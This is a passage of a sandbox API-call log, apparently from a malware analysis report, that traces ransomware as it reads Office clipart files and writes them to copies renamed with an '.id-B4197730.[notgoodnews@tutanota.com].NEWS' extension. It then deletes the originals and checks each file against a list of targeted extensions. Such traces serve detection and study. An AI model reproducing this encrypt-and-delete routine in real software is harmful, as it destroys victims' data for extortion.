Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.415] lstrlenW (lpString=".doc") returned 4 [0170.415] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0170.415] lstrlenW (lpString=".docx") returned 5 [0170.415] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0170.415] lstrlenW (lpString=".pdf") returned 4 [0170.415] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0170.415] lstrlenW (lpString=".xls") returned 4 [0170.415] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0170.415] lstrlenW (lpString=".xlsx") returned 5 [0170.415] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0170.415] lstrlenW (lpString=".ppt") returned 4 [0170.415] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0170.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.415] lstrlenW (lpString=".zip") returned 4 [0170.415] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0170.415] lstrlenW (lpString=".rar") returned 4 [0170.415] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0170.415] lstrlenW (lpString=".bz2") returned 4 [0170.415] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0170.415] lstrlenW (lpString=".7z") returned 3 [0170.415] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0170.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.415] lstrlenW (lpString=".dbf") returned 4 [0170.415] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0170.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.415] lstrlenW (lpString=".1cd") returned 4 [0170.415] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0170.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.416] lstrlenW (lpString=".jpg") returned 4 [0170.416] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0170.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.416] lstrlenW (lpString=".doc") returned 4 [0170.416] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0170.416] lstrlenW (lpString=".docx") returned 5 [0170.416] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0170.416] lstrlenW (lpString=".pdf") returned 4 [0170.416] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0170.416] lstrlenW (lpString=".xls") returned 4 [0170.416] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0170.416] lstrlenW (lpString=".xlsx") returned 5 [0170.416] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0170.416] lstrlenW (lpString=".ppt") returned 4 [0170.416] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0170.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.416] lstrlenW (lpString=".zip") returned 4 [0170.416] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0170.416] lstrlenW (lpString=".rar") returned 4 [0170.416] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0170.416] lstrlenW (lpString=".bz2") returned 4 [0170.416] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0170.416] lstrlenW (lpString=".7z") returned 3 [0170.416] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0170.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.416] lstrlenW (lpString=".dbf") returned 4 [0170.417] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.417] lstrlenW (lpString=".1cd") returned 4 [0170.417] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0170.417] lstrlenW (lpString=".jpg") returned 4 [0170.417] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0170.417] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0170.417] lstrlenW (lpString="J0099199.GIF") returned 12 [0170.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.486] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=33975) returned 1 [0170.486] CloseHandle (hObject=0x544) returned 1 [0170.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0170.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0170.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.486] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.487] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0171.212] GetLastError () returned 0x0 [0171.212] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x84b7, lpOverlapped=0x0) returned 1 [0171.232] WriteFile (in: hFile=0x454, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x84c0, lpOverlapped=0x0) returned 1 [0171.234] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.234] WriteFile (in: hFile=0x454, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.234] SetEndOfFile (hFile=0x454) returned 1 [0171.234] CloseHandle (hObject=0x454) returned 1 [0171.234] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.234] SetEndOfFile (hFile=0x544) returned 1 [0171.238] CloseHandle (hObject=0x544) returned 1 [0171.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0171.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.240] lstrlenW (lpString=".doc") returned 4 [0171.240] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.240] lstrlenW (lpString=".docx") returned 5 [0171.240] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0171.240] lstrlenW (lpString=".pdf") returned 4 [0171.240] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.240] lstrlenW (lpString=".xls") returned 4 [0171.240] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.240] lstrlenW (lpString=".xlsx") returned 5 [0171.240] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0171.240] lstrlenW (lpString=".ppt") returned 4 [0171.240] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.241] lstrlenW (lpString=".zip") returned 4 [0171.241] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.241] lstrlenW (lpString=".rar") returned 4 [0171.241] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.241] lstrlenW (lpString=".bz2") returned 4 [0171.241] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.241] lstrlenW (lpString=".7z") returned 3 [0171.241] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.241] lstrlenW (lpString=".dbf") returned 4 [0171.241] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.241] lstrlenW (lpString=".1cd") returned 4 [0171.241] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.241] lstrlenW (lpString=".jpg") returned 4 [0171.241] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.241] lstrlenW (lpString=".doc") returned 4 [0171.241] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.241] lstrlenW (lpString=".docx") returned 5 [0171.241] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0171.241] lstrlenW (lpString=".pdf") returned 4 [0171.241] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.241] lstrlenW (lpString=".xls") returned 4 [0171.241] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.241] lstrlenW (lpString=".xlsx") returned 5 [0171.241] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0171.241] lstrlenW (lpString=".ppt") returned 4 [0171.241] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.241] lstrlenW (lpString=".zip") returned 4 [0171.241] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.241] lstrlenW (lpString=".rar") returned 4 [0171.242] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.242] lstrlenW (lpString=".bz2") returned 4 [0171.242] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.242] lstrlenW (lpString=".7z") returned 3 [0171.242] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.242] lstrlenW (lpString=".dbf") returned 4 [0171.242] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.242] lstrlenW (lpString=".1cd") returned 4 [0171.242] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0171.242] lstrlenW (lpString=".jpg") returned 4 [0171.242] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.242] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0171.242] lstrlenW (lpString="J0099201.GIF") returned 12 [0171.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.243] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=51401) returned 1 [0171.243] CloseHandle (hObject=0x544) returned 1 [0171.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0171.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.243] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.243] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0171.244] GetLastError () returned 0x0 [0171.244] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0171.252] WriteFile (in: hFile=0x454, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0171.307] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.307] WriteFile (in: hFile=0x454, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.307] SetEndOfFile (hFile=0x454) returned 1 [0171.426] CloseHandle (hObject=0x454) returned 1 [0171.663] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.663] SetEndOfFile (hFile=0x544) returned 1 [0171.705] CloseHandle (hObject=0x544) returned 1 [0171.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.770] lstrlenW (lpString=".doc") returned 4 [0171.770] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.770] lstrlenW (lpString=".docx") returned 5 [0171.770] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0171.770] lstrlenW (lpString=".pdf") returned 4 [0171.770] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.770] lstrlenW (lpString=".xls") returned 4 [0171.770] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.770] lstrlenW (lpString=".xlsx") returned 5 [0171.770] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0171.770] lstrlenW (lpString=".ppt") returned 4 [0171.770] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.770] lstrlenW (lpString=".zip") returned 4 [0171.770] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.770] lstrlenW (lpString=".rar") returned 4 [0171.770] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.770] lstrlenW (lpString=".bz2") returned 4 [0171.770] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.770] lstrlenW (lpString=".7z") returned 3 [0171.770] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.770] lstrlenW (lpString=".dbf") returned 4 [0171.770] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.770] lstrlenW (lpString=".1cd") returned 4 [0171.770] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.770] lstrlenW (lpString=".jpg") returned 4 [0171.770] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.771] lstrlenW (lpString=".doc") returned 4 [0171.771] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.771] lstrlenW (lpString=".docx") returned 5 [0171.771] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0171.771] lstrlenW (lpString=".pdf") returned 4 [0171.771] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.771] lstrlenW (lpString=".xls") returned 4 [0171.771] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.771] lstrlenW (lpString=".xlsx") returned 5 [0171.771] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0171.771] lstrlenW (lpString=".ppt") returned 4 [0171.771] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.771] lstrlenW (lpString=".zip") returned 4 [0171.771] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.771] lstrlenW (lpString=".rar") returned 4 [0171.771] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.771] lstrlenW (lpString=".bz2") returned 4 [0171.771] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.771] lstrlenW (lpString=".7z") returned 3 [0171.771] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.771] lstrlenW (lpString=".dbf") returned 4 [0171.771] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.772] lstrlenW (lpString=".1cd") returned 4 [0171.772] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0171.772] lstrlenW (lpString=".jpg") returned 4 [0171.772] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.772] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0171.772] lstrlenW (lpString="J0101858.BMP") returned 12 [0171.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0171.789] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=32184) returned 1 [0171.789] CloseHandle (hObject=0x4dc) returned 1 [0171.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0171.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.523] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.523] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0172.524] GetLastError () returned 0x0 [0172.524] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0172.537] WriteFile (in: hFile=0x554, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0172.540] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.540] WriteFile (in: hFile=0x554, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.540] SetEndOfFile (hFile=0x554) returned 1 [0172.540] CloseHandle (hObject=0x554) returned 1 [0172.542] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.542] SetEndOfFile (hFile=0x544) returned 1 [0172.550] CloseHandle (hObject=0x544) returned 1 [0172.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0172.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0172.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0172.553] lstrlenW (lpString=".doc") returned 4 [0172.553] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0172.553] lstrlenW (lpString=".docx") returned 5 [0172.553] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0172.553] lstrlenW 